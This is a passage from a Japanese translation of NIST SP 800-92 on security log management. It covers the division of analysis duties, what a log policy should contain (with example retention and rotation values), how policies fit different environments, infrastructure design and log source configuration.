つの理由は、ローカル管理者とインフラストラクチャ管理者の関心事が必ずしも同じではないことである。たとえば、ローカル管理者は、運用上の問題の特定や、その他のセキュリティ以外の事項など、インフラストラクチャ管理者とは異なる関心を持っているはずである。三つ目の理由は、すべてをインフラストラクチャ管理者のレベルでレビューするにはイベントの件数が多すぎることがしばしばであり、ネットワークを介してログ管理インフラストラクチャへと転送するデータの量が大量であることが挙げられる。システムレベルで分析作業を行うことは、各システムの特性を管理者自身がよりよく理解し、ログ管理の設定を微調整する上でも役立つ。

[39] ログデータのアーカイブ（メディアの選定、完全性チェック、メディアへのデータの格納など）の詳細については、5.4 項を参照のこと。

ある程度の分析作業をインフラストラクチャレベルで行うことは、いくつかの面でかなり有用である。まず、システムレベルの分析よりも、リアルタイムに近い迅速さで実行されることを期待できることである。これは、重大なセキュリティイベントへの迅速な対応を促し、セキュリティインシデントの影響を最小化するのに役立つ。通常、重要なイベントを記録する可能性が大きいログデータの分析作業は、時間を置かずに、継続的に行う必要がある。それだけでなく、その他の主な一元管理されたセキュリティ管理策、たとえば、ネットワーク侵入検知システム、ウイルス対策ソフトウェア、ネットワークファイアウォールなどにおける監視との整合性を保つことも必要である。[40]。インフラストラクチャレベルの分析が有用であるもう一つの理由は、インフラストラクチャレベルの分析では、複数のシステムにまたがるイベントのパターン、例えば、協調的または広範囲にわたる攻撃（マルウェアや分散サービス妨害攻撃[DDoS]など）や、組織内のシステム間で行われる攻撃などを発見できることである。インフラストラクチャレベルの分析が有用である三つ目の理由は、先にも述べたとおり、システムレベルの管理者とログ管理インフラストラクチャ管理者の職務を分離することである。

一般に、ログ分析に関する責任分担を決める場合は、さまざまなログ項目同士を比較した場合の相対的な重要性と、個々のログ項目が持つ本来の意味を理解するためにどのようなコンテキストが必要であるかに注目することが必要である。インフラストラクチャ管理者が利用できると考えられるコンテキスト情報源（変更管理情報など）は、慎重に検討しなければならない。一般にコンテキスト情報を必要としない種類の項目については、できるだけ分析作業の自動化と一元管理を検討すべきである。しかしながら、コンテキスト情報を必要とする種類の項目については、システムレベルの管理者に分析を任せるか、または、裏付けとなるログ項目や変更管理プログラムデータなどの情報源を通して、必要なコンテキスト情報がインフラストラクチャ管理者に確実に提供されるようにする。

システムレベルにおけるログ管理が組織全体にわたって効果的に行われるようにするには、システム管理者に対し、組織が十分な支援を提供する必要がある。システムレベルの管理者が典型的な責務を担うものと仮定した場合、組織が提供すべき支援の内容は次のようなものである。

- 個別のシステムおよびそれらの管理者がログ管理インフラストラクチャにおいて担う役割について、情報伝達とトレーニングを行う。
- ログに関する管理者の疑問に答えられる問い合わせ先を提供する。
- 管理者の学んだことを組織に還元するよう奨励し、管理者のアイデアを周囲に広めるためのメカニズムを用意する（メーリングリスト、組織内 Web フォーラム、ワークショップなど）。
- システムのログデータをログ管理インフラストラクチャに統合する方法、例えば、SIEM エージェントの導入、ローカル syslog 実装の確立、に関して具体的な技術ガイダンスを提供する。
- ログに関するテスト環境の構築を検討する。一般的なログ生成元を対象としてさまざまな設定をテストし、推奨事項および実行手順を文書化し、それらの情報を管理者に周知して利用させる。これは、管理者がログ構成作業をより効果的かつ一貫した方法で実行し、時間を節約するのに役立つ。
- ログローテーション用スクリプトやログ分析用ソフトウェアなどのツールを、文書とともに管理者に提供する。これらのツールをテスト環境に実装することと、使用のための推奨事項および手順を文書化することも検討する。

[40] 多くの組織では、同じセキュリティ管理者グループが、主要な一元管理セキュリティ管理策のほとんどまたは全部を監視する。インシデント対応プログラムの一環としてセキュリティ管理策を監視することの詳細については、NIST SP 800-61『*コンピュータセキュリティインシデント対応ガイド（Computer Security Incident Handling Guide）*』（http://csrc.nist.gov/publications/nistpubs/）を参照のこと。

インフラストラクチャ管理者に対しても、以上の内容に近い、トレーニングおよびツールを重視した支援を提供すべきである。

4.2. ログ管理ポリシーの策定

ログの記録および監視に関しては、2.2 項で述べたとおり、組織としての要件と目標を定義すべきである。要件は、適用されるすべての法律および規制と、組織の既存ポリシー（データ保管に関するポリシーなど）を盛り込んだものとする。目標は、組織としてのリスク低減効果と、ログ管理機能の実行に必要な時間およびリソースとのバランスを考慮したものとする。これらに従うことで、組織全体としてログ管理能力を確立し、ログ管理を適切に優先順位付けするための基礎となる要件および目標を策定できる。

ポリシーにおいては、ログ管理の次のような側面について必須要件および推奨事項を明確に定義すべきである[41]。

- ログ生成
  - どのような種類のホストにおいてログの記録が必須かまたは望ましいか。
  - ホスト内のどのような構成要素においてログの記録が必須かまたは望ましいか（OS、サービス、アプリケーションなど）。
  - 個々の構成要素について、どのような種類のイベントのログ記録が必須かまたは望ましいか（セキュリティイベント、ネットワーク接続、認証の試みなど）。
  - イベントの個々の種類について、どのようなデータ特性のログ記録が必須かまたは望ましいか（認証の試みのユーザ名および送信元 IP アドレスなど）。
  - イベントの個々の種類について、どの程度の頻度でログを記録することが必須かまたは望ましいか（イベントが発生するたびに記録、x 分間隔で記録(発生したすべてのイベントについて記録)、x 件発生するごとに記録、x 件発生以降 1 件ごとに記録など）[42]。
- ログ転送
  - どのような種類のホストがログをログ管理インフラストラクチャへ転送するのが必須かまたは望ましいか。
  - どのような種類の項目およびデータ特性を個別のホストからログ管理インフラストラクチャへ転送するのが必須かまたは望ましいか。
  - どのような方法（許可されるプロトコルなど）でログデータを転送することが必須かまたは望ましいか。該当する場合には帯域外による方法もこれに含む（スタンドアロンシステムが対象の場合など）。
  - どの程度の頻度でログデータを個別ホストからログ管理インフラストラクチャへ転送するのが必須かまたは望ましいか（リアルタイム、5 分おき、1 時間おきなど）。

---

41 複雑な多層構造の管理インフラストラクチャを持つ組織では、各層ごとに別個の要件が必要な場合がある。

42 多くのログ生成元では、これを構成する設定項目がなく、イベント発生ごとにログが記録される。ログ生成元によっては、個別のイベントを記録しない。たとえば、オペレーティングシステムへの無許可のアクセスの試みは、ログインの失敗が 3 回連続して発生したときにのみ記録されるといった場合がある。また、侵入検知システムでは、1 分間に 10 基のホストに対するスキャンが観測されるまで警告を発しない場合もある。

- ログデータの個々の種類について、転送時に機密性、完全性および可用性をどのように保護することが必須かまたは望ましいか。別のログ用ネットワークを使用すべきかどうかもこれに含む。

■ ログ格納および廃棄[43]

- どの程度の頻度でログをローテーションすべきか。
- ログデータの個々の種類について、格納時に機密性、完全性および可用性[44]を(システムレベルおよびインフラストラクチャレベルの両方で)どのように保護するのが必須かまたは望ましいか[45]。
- ログデータの個々の種類について、どの程度の期間にわたりデータを保全するのが必須かまたは望ましいか(システムレベルおよびインフラストラクチャレベルの両方で)[46]。
- 不要なログデータをどのような方法で廃棄するのが必須かまたは望ましいか(システムレベルおよびインフラストラクチャレベルの両方で)。
- ログの格納場所として、どの程度の容量を確保するのが必須かまたは望ましいか(システムレベルおよびインフラストラクチャレベルの両方で)。
- ログ保全に関する要求(特定のログ記録の改変および破損防止に関する法的要件など)について、どのような方法で対応する必要があるか(該当するログをどのように分類、格納し、保護するかなど)。

■ ログ分析

- ログデータの個々の種類について、どの程度の頻度でデータを分析するのが必須かまたは望ましいか(システムレベルおよびインフラストラクチャレベルの両方で)。
- ログデータへのアクセスを誰に許可するのが必須かまたは望ましいか(システムレベルおよびインフラストラクチャレベルの両方で)。また、それらのアクセスをどのように記録すべきか。
- 疑わしい活動または異変が見つかった場合に、どのような対応を行うことが必須かまたは望ましいか[47]。

---

43 ログの保管要件に関する 1 つの情報源として、米国国立公文書館(NARA:National Archives and Records Administration)の一般文書保管計画(GRS:General Records Schedule)20 がある(http://www.archives.gov/records-mgmt/ardor/grs20.html)。連邦政府の記録管理に関する NARA の Web サイトは、http://www.archives.gov/records-mgmt/にある。

44 可用性保護の例としては、ログデータのコピーを複数作成して別々の場所に格納し、1 つのコピーが損傷または破損しても可用性を確保できるようにしておくことなどが考えられる。

45 フォレンジックスの面から見て適切な方法でログを保全する方法の詳細については、NIST SP 800-86『*インシデント対応へのフォレンジック技法の統合に関するガイド(Guide to Integrating Forensic Techniques into Incident Response)*』(http://csrc.nist.gov/publications/nistpubs/)を参照のこと。

46 これは、いくつかの面でディジタルフォレンジックスに多大な影響を与える可能性がある。第 1 に、ある特定のイベントに関するデータが、イベント発生から数週間から数か月間後まで必要とされる場合がある。第 2 に、ログ照会などのフォレンジック分析作業の所要時間が格納メディアの種類によって大幅に長くなることがある(たとえば、テープにアーカイブしたログを読み込む処理は、オンラインのログファイルを照会するよりも時間を要する)。第 3 に、分析担当者のいる場所にデータが格納されていない場合にもフォレンジック分析に時間がかかることがある(ローカルの分析担当者がリモートの一元管理ログ格納場所にアクセスできない場合など)。ログ格納要件の策定およびログ管理インフラストラクチャの設計を行う際には、ディジタルフォレンジックスのニーズを念頭に置くべきである。

47 この項目は、組織のインシデント対応に関するポリシーにはすでに盛り込まれているべき内容である。異変や疑わしい活動への対応についてガイダンスを示すことは、この文書の目的には含まれない。インシデント対応の詳細につい

- ログ分析の結果（警告、報告など）について、格納時および転送時に機密性、完全性および可用性を（システムレベルおよびインフラストラクチャレベルの両方で）どのように保護するのが必須かまたは望ましいか。
- 機密情報（パスワード、電子メールの内容など）が記録されたログを、不注意により開示した場合に、どのように対応すべきか。

また、組織のポリシーには、ログ管理インフラストラクチャの策定および管理を組織内の誰が行ってよいかについての規定も盛り込むべきである。

ログに関連するそのほかのポリシー、ガイドラインおよび手順についても、ログ管理の要件および推奨事項に対応し、それらを支える内容になっているかどうか、また、機能上および運用上の要件に適合しているかどうかを確認しなければならない。たとえば、ソフトウェア調達およびカスタムアプリケーション開発の活動においてログ管理上の要件を考慮させるようにする。

表 4-1 は、ポリシーで具体的に定めるべきログ管理の設定項目について、設定例を提示している。表内の値は、そのまま使用すべきではないが、自己の組織のニーズに適応するため、また、HIPAA、SOX、および 1996 年に施行された、主軸となる財務システムに関する連邦財務管理改善法 (FFMIA[48]: Federal Financial Management Improvement Act)要件などの規制や法律[49]を遵守するために、どんな設定が適当なのかを判断するための初期値として活用することができる。表 4-1 の例は、こうした施策によって課されるログ管理の要件を考慮に入れたものではない。主として特定のシステムやデータ（個人情報、医療情報など）にいえることだが、それらの施策において求められる管理水準は、もっともっと高いかもしれない。各組織は、どのようなログ管理上の設定が必要となるかを決定する際には、ログ要件に影響し得るすべての施策はもちろん、4.3 項で述べるその他の要因を詳細に分析しなければならない。また、ログの保存期間が有効である範囲内で、調査（内部調査、コンピュータセキュリティインシデント対応など）の裏付けを取る必要がある場合は、対象組織において策定した標準にこだわらず、より高く厳しい制約をログ保全要件に適用する必要がある。

表 4-1 で定義している各種の値は、セキュリティ関連イベントのログを記録するのが必須かまたは望ましいことを組織によって特定されているホストおよびホストを構成する要素に対してのみ適用すべきものである。また、ホストおよびホストを構成する要素に関しては、ログ管理インフラストラクチャを使用するものと、使用しないものとでは、別々の表を作成することを検討すべきである。さらに、帯域外の手段でログデータをログ管理インフラストラクチャに供給するようなホストについても、別の要件が必要となる可能性がある。たとえば、ログデータを 1 時間おきに一元管理サーバへ帯域外の手段によって引き渡すよう義務付けるのは現実的でない。同様の制約は、ノート型 PC などのモバイルシステムにも該当する。組織外に持ち出して使用されることがあるホストは、常にログ情報を転送できる状態にあるとは限らない（ネットワークに接続されていない場合や、低速かつ断続的な接続しか利用できない場合がある）。

ては、NIST SP 800-61『*コンピュータセキュリティインシデント対応ガイド（Computer Security Incident Handling Guide）*』（http://csrc.nist.gov/publications/nistpubs/）を参照のこと。

48 FFMIA の詳細については、http://www.whitehouse.gov/omb/financial/ffs_ffmia.html を参照のこと。

49 適用される規制および法律の組み合わせは個々の組織やシステムによって異なるため、この項に述べるポリシー項目について具体的な推奨事項（ログデータの保管期間、ログ循環の頻度など）を示すことはできない。たとえ 1 つの規制または法律のみに着目するとしても、セキュリティコミュニティ内にコンセンサスが形成されていないため、特定の推奨事項を示すことはひじょうに困難である。ログは可能な限り多くのデータを記録し長期にわたって保管すべきであると考える人が多い反面、そうしたアプローチは多くの費用とリソースを要するため、記録するデータの量は少なく、保管期間は短くするのが望ましいと考える人もいる。

表 4-1. ログ構成の設定内容の例

分類	低位影響レベルのシステム	中位影響レベルのシステム	高位影響レベルのシステム
ログデータを保管する期間	1～2 週間	1～3 か月間	3～12 か月間
ログをローテーションする頻度	任意（実行する場合は、少なくとも週に一度または 25 MB ごと）	6～24 時間ごと、または 2～5 MB ごと	15～60 分ごと、または 0.5～1.0 MB ごと
ログ管理インフラストラクチャへのログ転送を組織として義務付ける場合、転送を実行する頻度	3～24 時間ごと	15～60 分ごと	少なくとも 5 分ごと
ローカルでのログデータ分析を実行する頻度（自動または手動による）	1～7 日ごと	12～24 時間ごと	少なくとも 1 日につき 6 回
ローテーションしたログのファイル完全性チェックを実行する必要性	任意	要	要
ローテーションしたログを暗号化する必要性	任意	任意	要
ログ管理インフラストラクチャへのログ転送に暗号化通信またはログ専用ネットワークを使用する必要性	任意	可能な限り	要

組織のポリシーには、ログ管理に関する法的な事項も盛り込むべきである。ログには、プライバシまたはセキュリティに関わる情報（パスワード、電子メール内容など）が意図的または偶然に記録される可能性がある。そのため、データ分析または記録システム管理（IDS センサなど）を行うスタッフは、こうした情報を目にするおそれがある。各組織は、機密情報が意図せずに開示されてしまう場合への対応に関するポリシーを定めておくべきである。電子メールやテキスト文書の捕捉に関するもう 1 つの問題は、そのような情報を長期間にわたって保管することが組織のデータ保持ポリシーに違反する可能性があることである。また、ネットワークの監視に関するポリシーを定めることも重要である。データ保管のような複雑な問題の扱いに不備が生じないよう、組織としてログ管理ポリシーを策定する際には弁護士との話し合いを持つべきである。

組織として定めるポリシーおよび手順には、ログ原本の保全に関する事項も盛り込むべきである。多くの組織では、ネットワークトラフィックログのコピーを集中管理された装置にも送信するだけでなく、ネットワークトラフィックの分析および解釈を行うツールも使用する。ログが証拠として必要とされる場合、コピーや解釈のプロセスにおける信頼性に対して何らかの疑義が生じた場合に備えて、ログファイルの原本、一元的に管理されたログファイル、および解釈済みのログデータのそれぞれについて、コピーを作成しておくとよい。ログを証拠として保管する場合は、記録へのアクセスに追加の制限を設けるなど、異なる保管方法やプロセスを用いる必要が生じる可能性がある[50]。また、ログをライトワンスメディアに格納したり、個々のログファイルのメッセージダイジェストを生成したりすることで、ログの完全性を保全することも必要な場合がある。

ログ管理に関するポリシーの内容は、定期的に見直しを行い、必要に応じて改定すべきである。改定の要因として想定されるのは、監査の結果（5.6 項を参照）、法律上または規制上の要件の変化、また、インフラストラクチャ管理者やシステムレベルの管理者からログ要件に関して寄せられるフィードバックなどが考えられる。セキュリティ管理策の設定変更に関連したポリシー変更についても、

[50] フォレンジックスの面から見て適切な方法でログを保全する方法の詳細については、NIST SP 800-86『*インシデント対応へのフォレンジック技法の統合に関するガイド（Guide to Integrating Forensic Techniques into Incident Response）*』（http://csrc.nist.gov/publications/nistpubs/）を参照のこと。

インフラストラクチャ管理者やシステムレベルの管理者からの提案を定期的に検討すべきである。たとえば、多くのシステム上のホストベースファイアウォールのログに、外部ホストからのポートスキャンが大量に記録され、それらのログ項目がファイアウォールのログ全体の大部分を占めるようになった場合を想定してみよう。対策として、スキャン活動を禁止するように組織のポリシーを変更する決定を下せば、それがネットワークファイアウォールの設定変更につながり、結果として個別のシステムおよびその上のホストベースファイアウォールにはスキャンが到達しなくなる。その場合、ホストベースファイアウォールのログに記録されるセキュリティイベントの件数は大幅に減少すると考えられる。

4.3. ポリシーの実現可能性の確認

4.2 項で述べたように、ログに関する要件および推奨事項の策定にあたっては、それらを導入および保守するために必要なテクノロジーとリソース、セキュリティ面でそれらが持つ意味と価値、また、組織に適用される規制や法律（FISMA、HIPAA、SOX など）の詳しい分析も併せて行うべきである。要件および推奨事項の策定時には、既存のログやログの設定に関する調査を可能な限り行うべきである。たとえば、監査可能なイベントすべてを記録するよう OS を設定すると、生成されるログ項目の数が膨大になり、ホストのパフォーマンスに深刻な影響を及ぼしたり、ログ項目が上書きされる周期が短すぎてログデータの正しい分析がほとんど不可能なったりする可能性がある。また、どのような生成元でも、記録されるログデータの量はひじょうに動的に変化する傾向があり、頻繁な短期的変化だけでなく長期的には、全体の傾向も変化する。ある時点において合理性があったログの設定内容が別の時点においても現実的とは限らず、深刻なインシデントが発生した場合などは特に事情が異なる。

より多くのデータを記録することは必ずしもよいことではない。一般に、ログの記録および分析を必須とする対象はひじょうに重要度の高いデータのみとし、そのほかの種類のデータについては、時間やリソースが許す場合にログの記録および分析を行うことを推奨事項として定めるとよい。組織によっては、万一の必要に備えるため、生成される（ほとんど）すべてのログデータを少なくとも短期間は保存するという要件を定めることがある。これは、利便性や必要リソースの問題よりもセキュリティを優先する場合の選択肢である。個々のホストにはそれぞれ異なる事情があり、生成されるログの量もホストによって異なるため、要件および推奨事項の設定にあたっては柔軟性を心がけるべきである。ホストのログ動作はアップグレード、パッチ、構成変更などによってただちに変化することがあるため、その意味でも柔軟性を確保することは重要である。マルウェア攻撃の失敗を示す同種類のログ項目が大量に生成されるなど、システムやネットワークが不都合な状況にある場合は、管理者の判断でログ設定に一時的な変更を加えることも許可すべきである。ただし、そうした設定変更は非常時の最終手段として、また、可能な限り的確に行われなければならない。実行した場合、システムレベルの管理者は必ずインフラストラクチャ管理者に連絡し、ログの監視および分析のプロセスを必要に応じて変更できるようにする必要がある。

ポリシーの策定時には、システムが置かれている環境も考慮すべきである。NIST SP 800-70『*IT 製品のためのセキュリティ設定チェックリストプログラム －チェックリスト利用者と開発者のための手引き(Security Configuration Checklists Program for IT Products—Guidance for Checklists Users and Developers)*』には、一般的な運用環境がいくつか示されている[51]。ここではそのうち 4 とおりの環境を示し、それぞれの特性がログ管理ポリシーに及ぼす影響について説明する。必要に応じて、こうしたそれぞれの環境ごとに異なる内容のログ管理ポリシーを検討するとよい。

- **スモールオフィス／ホームオフィス（SOHO）環境** 家庭またはビジネスのために使われる小規模な略式のコンピュータ設置環境である。ノート型パソコン、モバイル機器、家庭用コンピュータから、在宅勤務システム、小規模企業、企業の営業所に至るまで、さまざまな形態の

[51] NIST SP 800-70 は、http://checklists.nist.gov/からダウンロードできる。

小規模環境および機器がこれに該当する。多くの SOHO システムでは、組織の主要ネットワークに対して断続的かつ低速な接続しか確立できないため、ログ管理インフラストラクチャの使用および統合に大きな制約が伴うことがある。ログ管理インフラストラクチャの設計において、SOHO システムからインフラストラクチャへのデータ転送を最小限にすることを考慮する必要が生じる可能性がある。

- **エンタープライズ環境** 一般に、明確に定義され体系化された一連のハードウェアおよびソフトウェアの構成を持つ大規模な組織的システムからなる環境である。一元管理型のワークステーションおよびサーバで構成され、ファイアウォールやその他のネットワークセキュリティ装置によってインターネットから保護されていることが多い。あらゆる環境のうち最もログ管理を実行しやすい環境であると考えられる。

- **カスタム環境** ほかの種類の環境が適さないような機能やレベルを備えたシステムからなる環境である。多くのカスタム環境は、次に示すセキュリティ優先の機能制限環境またはレガシー環境のいずれかに該当する。

  - **セキュリティ優先の機能制限環境** 攻撃やデータ暴露のリスクが大きいシステムやネットワークを含むため、機能よりもセキュリティを優先し、システムの機能性が制限または特化される（汎用のワークステーションやシステムとは異なる）ことを前提とする。その理由は、環境が大きな脅威に直面しているため（外部に面したファイアウォールや公開の Web サーバなど）、または、ほかの有用なシステム属性（別システムとの相互運用性など）に悪影響を及ぼす可能性があるとしてもセキュリティを積極的に優先するほどデータの内容や任務の目的が重要であるためである。セキュリティ優先の機能制限環境に属するシステムは、ログ管理インフラストラクチャへの参加によってセキュリティリスクが生じ得る（稼働するネットワークサービスを増やしたり、扱いに注意を要する情報を未保護のままネットワーク上で転送されたりするなど）という理由から、これを制限される場合がある。このようなシステムでは、ログ管理をローカルのシステムで行うかインフラストラクチャへのデータ転送に帯域外の手段（リムーバブルメディアなど）を使用するログ管理インフラストラクチャを設計する必要が生じる可能性がある。

  - **レガシー環境** セキュリティが万全でない旧式の通信メカニズムを使用している恐れのある古いシステムまたはアプリケーションを含む。レガシー環境で稼動しているほかのコンピュータには、レガシーシステムおよびアプリケーションと通信できるように、制限の少ないセキュリティ設定を適用することが必要になる場合がある。レガシーシステムによっては、必要なソフトウェアをインストールできないか適切に構成できないために、ログ管理インフラストラクチャへの参加が不可能なものがある。このようなシステムでは、ログ管理をローカルのシステムで行うかインフラストラクチャへのデータ転送に帯域外の手段（リムーバブルメディアなど）を使用するログ管理インフラストラクチャを設計する必要が生じる可能性がある。

4.4. ログ管理インフラストラクチャの設計

当初のログ管理ポリシーを確立し、各種の役割および責任を明確にしたあとは、それらのポリシーや役割を効果的に支援するログ管理インフラストラクチャを構築する。組織にログ管理インフラストラクチャが既にある場合は、まず、既存のインフラストラクチャを改変してニーズを満たせるかどうかを判断すべきである。これができないか既存のインフラストラクチャがない場合は、インフラストラクチャに対する要件の洗い出し、考えられるソリューションの評価、選定したソリューションの導入（ハードウェア、ソフトウェア、および必要に応じてネットワークの増強）を行うか、または、組織のニーズを再評価してポリシーを変更する。最初はポリシーの草案を作成し、それに基づいてログ管理インフラストラクチャの設計を試み、案の中で現実的でない部分を見つけるといった方法が考えられる。そ

のあとでポリシーを見直すことにより、法律上および規制上の要件を満たしつつインフラストラクチャの導入におけるリソース負担を軽減するとよい。ログ管理は複雑であるため、ポリシーおよび設計の最終的な内容を確定するまでには、ポリシー変更、インフラストラクチャ設計、設計アセスメントのサイクルを数回繰り返すことになる可能性がある。

ログ管理インフラストラクチャの設計にあたっては、インフラストラクチャおよび組織内にある個々のログ生成元に関する現在および将来のニーズに対応できるように計画を立てなければならない。以下に考慮すべき主な事項を示す。

- 平常時およびピーク時における、1 時間ごとおよび 1 日ごとのログデータ処理量。ほとんどのログ生成元では、平常時のログデータ量は時間の経過とともに増加する傾向がある。ピーク時の量には、極限状況への対応も含める。極限状況、たとえば、広範囲におよぶマルウェアインシデント、脆弱性スキャン、ペネトレーションテストなどであるが、そこではひじょうに大量のログ項目が短期間に生成されることがある。ログデータ量が多すぎると、結果としてログのサービス運用妨害が発生する可能性がある。ログ関連製品のログデータ処理能力は、一定時間内に処理できるイベントの量で示されることが多い。その表示単位は、ほとんどの場合 EPS（Events Per Second：1 秒あたりイベント件数）である。
- 平常時およびピーク時における使用ネットワーク帯域幅。
- 平常時およびピーク時における、オンラインおよびオフライン（アーカイブなど）データ格納領域の使用量。ログデータのバックアップとアーカイブの実行および不要になったログデータの廃棄に必要な時間やリソースの分析もこれに含める。
- ログデータに対するセキュリティニーズ。たとえば、システム間で転送されるデータを暗号化するとする。この場合、システムの処理量が増え、使用するネットワーク帯域幅も増加する。
- スタッフがログの分析作業を行うために必要な時間およびリソース。

4.5. まとめ

有用なログ管理インフラストラクチャを確立し、それを維持するためには、ログ管理の実行に関する計画およびそのほかの準備作業を綿密に行う必要がある。これは、組織のニーズや要件を実現するために行われるログ管理の活動に一貫性、信頼性、効率性を与えるとともに、組織で取り組む意義付けを行うために重要である。

組織では、ログ管理計画の立案作業の一環として、ログ管理に携わることになる人員やチームの役割および責任を定義すべきである。システム管理者およびネットワーク管理者は、通常、担当システムおよびネットワーク装置におけるログ管理のための設定、ログの定期的な分析、ログ管理活動の結果に関する報告、ログおよびログソフトウェアの定例的な保守について責任を負う。セキュリティ管理者は、通常、ログ管理インフラストラクチャの管理および監視、セキュリティ装置におけるログ管理の設定、ログ管理活動の結果に関する報告、ログ管理を行うほかの人員への支援について責任を負う。ほかにも、インシデント対応担当者、アプリケーション開発者、監査員、管理職層など、組織内では多くの人々がログ管理上の役割を担う。役割および責任の割り当てには、システムレベルとインフラストラクチャレベルのそれぞれにおいて分析を実行することのメリットを考慮すべきである。システムレベルの管理者には、トレーニング、情報伝達のしくみ、技術的なガイダンス、ログ管理ツールなど、組織として十分なサポートを行う必要がある。

ログの記録および監視に関しては、組織としての要件と目標を定義すべきである。これらを決定した後は、ログ管理活動の各種側面（ログの生成、通信、格納、廃棄、分析）に関する必須要件および推奨事項を明確に定義したポリシーを策定する。ログに関連するそのほかのポリシー、ガイドライン

および手順についても、ログ管理の要件および推奨事項に対応し、それらを支える内容になっているかどうか、また、機能上および運用上の要件に適合しているかどうかを確認しなければならない。組織として定めるポリシーおよび手順には、ログ管理に関する法的な事項（証拠となる可能性があるログファイル原本の保全など）も盛り込むべきである。ログ管理に関するポリシーの内容は、定期的に見直しを行い、必要に応じて改定すべきである。

ログに関する要件および推奨事項の策定にあたっては、それらを導入および保守するために必要なテクノロジーとリソース、セキュリティ面でそれらが持つ意味と価値、また、組織に適用される規制や法律の詳しい分析も併せて行うべきである。一般に、ログの記録および分析を必須とする対象はひじょうに重要度の高いデータのみとし、そのほかの種類のデータについては、時間やリソースが許す場合にログの記録および分析を行うことを推奨事項として定めるとよい。組織によっては、万一の必要に備えるため、生成される（ほとんど）すべてのログデータを少なくとも短期間は保存するという要件を定めることがある。これは、利便性や必要リソースの問題よりもセキュリティを優先する場合の選択肢である。

当初のログ管理ポリシーを確立し、各種の役割および責任を明確にしたあとは、それらのポリシーや役割を効果的に支援するログ管理インフラストラクチャを構築する。設計にあたっては、インフラストラクチャおよび組織内にある個々のログ生成元に関する現在および将来のニーズに対応できるように計画を立てなければならない。設計において考慮すべき主な要素としては、処理するログデータの量、ネットワーク帯域幅、オンラインおよびオフラインのデータストレージ、データのセキュリティ要件、ログ分析スタッフが必要とする時間とリソースなどがある。

5. ログ管理の運用プロセス

システムレベルの管理者およびインフラストラクチャ管理者は、担当するログの管理について標準的なプロセスに従うべきである。このセクションでは、ログ管理の主要な運用プロセスである次の事項について述べる。

- ログ生成元の設定（ログの生成、格納、セキュリティ）
- ログデータの分析
- 特定されたイベントへの初期対応
- ログデータの長期保存の管理

このセクションでは、これらのプロセスについて説明し、各プロセスの実行に関するガイドラインを示す。また、システムレベル管理者およびインフラストラクチャ管理者が実行すべきそのほかの運用プロセスについても概要を述べる。さらに、ログ管理の運用について定期的な監査を行う必要性についても説明する。このセクションに示すガイダンスは、組織において 1 つまたは複数のログ管理インフラストラクチャの設計および配備がすでに完了したことを前提としている。

5.1. ログ生成元における設定

システムレベルの管理者は、必要な情報を望ましい形式および場所で記録するよう、また、適切な期間にわたって情報を保管するようログ生成元の設定を行う必要がある。ログ生成元における設定は、複雑なプロセスになる場合が多い。第 1 に、管理者は組織のポリシーに基づいて、いずれのホストおよびホストを構成する要素をログ管理インフラストラクチャに参加させることが必須かまたは望ましいかを判断する必要がある。1 つのログファイルに記録される情報の生成元は必ずしも 1 つではない。たとえば OS のログには、当該 OS 自体の情報だけでなく、いくつかのセキュリティソフトウェアやアプリケーションが生成する情報も含まれることがある。管理者は、いずれのログ生成元がいずれのログファイルを使用するのかをよく確認すべきである[52]。

第 2 に、特定された個々の生成元について、どのような種類のイベントのログ記録が必須かまたは望ましいか、また、イベントの個々の種類について、どのようなデータ特性のログ記録が必須かまたは望ましいかを決定する必要がある[53]。管理者がログ生成元をどの程度カスタマイズできるかは、その生成元が提供する機能によるところが大きい。ひじょうに粒度の細かい設定オプションが用意されている生成元もあれば、ログに記録する内容などを細かく設定する機能がいっさいなく、単にログの有効と無効を切り替えることしかできないものもある。この項では、ログ生成元の設定を、ログの生成、ログの格納と廃棄、およびログのセキュリティの 3 つに分類して説明する。

5.1.1. ログ生成

ログ生成元に設定オプションがある場合、当初のログ設定の選択は慎重に行うのが賢明である[54]。設定項目 1 つで膨大な数のログ項目が記録されたり、扱いきれないほどの情報が個々のイベントに対して記録されたりすることもある。量が多すぎると、ログデータを失う可能性があるだけでなく、システムのパフォーマンス低下やサービス運用妨害など運用上の問題まで生じかねない。システム

---

[52] 場合によっては、ホストを実稼働環境で稼働させて実際のログを監視するまで、すべてのログ生成元を特定するのがひじょうに難しいこともある。

[53] セキュリティ設定チェックリストを使用する一般的なホスト実装の場合、チェックリストを改訂してログ生成元の設定情報を含めるのが効果的と考えられる。

[54] このことは、生成元によるログ記録を開始した当初の数日間に最もよく当てはまる。積極的な方向に設定を変更すると深刻な問題が発生するのでない限り、抑制的な設定を長期にわたって使用し続けるべきではない。

レベルの管理者は、ログ生成元の構成が生成元ホストに及ぼすと考えられる影響だけでなく、ログ管理インフラストラクチャの構成要素に及ぼし得る影響まで考慮する必要がある（たとえば、ログデータが極端に多くなると、ネットワーク帯域幅および一元管理ログ格納領域の使用量も大幅に増える可能性がある）。

管理者が十分に精通していない設定項目を変更する場合には、本番環境ではない環境で設定のテストを行ってから本番環境に反映するようにするとよい。特に、最もよく使用されるログ生成元、重要なホスト上のログ生成元、および重要性の高いログ生成元の設定については、事前のテストを行うことを強く推奨する。ログ機能および各種ログ設定の一般的な影響については、ソフトウェアベンダーなどに問い合わせて情報を入手できることがある。そうした情報は、初期設定を決定する際にひじょうに参考になる[55]。

5.1.2. ログの格納および廃棄

システムレベルの管理者は、個々のログ生成元においてデータをどのように格納すべきかを決定する必要がある。これは主として、組織のログ格納に関するポリシー（特に、ログ管理インフラストラクチャへのログ項目転送に関する要件）に基づいて決まる。そうした要件を満たしていれば、ログ格納に関するそのほかの設定も柔軟に設定できることが多い。ログ項目の格納に関しては、次の選択肢がある。

- **格納しない** 組織にとって価値が（ほとんど）ないとわかっているログ項目（ソフトウェアベンダーのみ意味を理解できるデバッグメッセージ、活動の詳細情報をいっさい含まないエラーメッセージなど）は、一般に格納の必要がない。
- **システムレベルのみ** システムレベルの管理者にとってはある程度の価値を持つか関心の対象となるログ項目ではあるが、ログ管理インフラストラクチャに送信するほど重要ではないものについては、当該システムに格納すべきである。たとえば、何らかのインシデントが発生した場合には、当該インシデントに関連した一連のイベントに対し、付加的なシステムレベルのログ項目によって補足情報が得られる可能性がある。また、こうした項目をレビューすることは、平常時の活動に関するベースラインの策定および長期的な動向の把握に役立つ可能性がある。
- **システムレベルおよびインフラストラクチャレベルの両方** 特に注目を要すると考えられるイベントについては、システム上に保管するのに加え、ログ管理インフラストラクチャへも転送すべきである。両方の場所にログを保存する理由としては、次のようなことが考えられる。
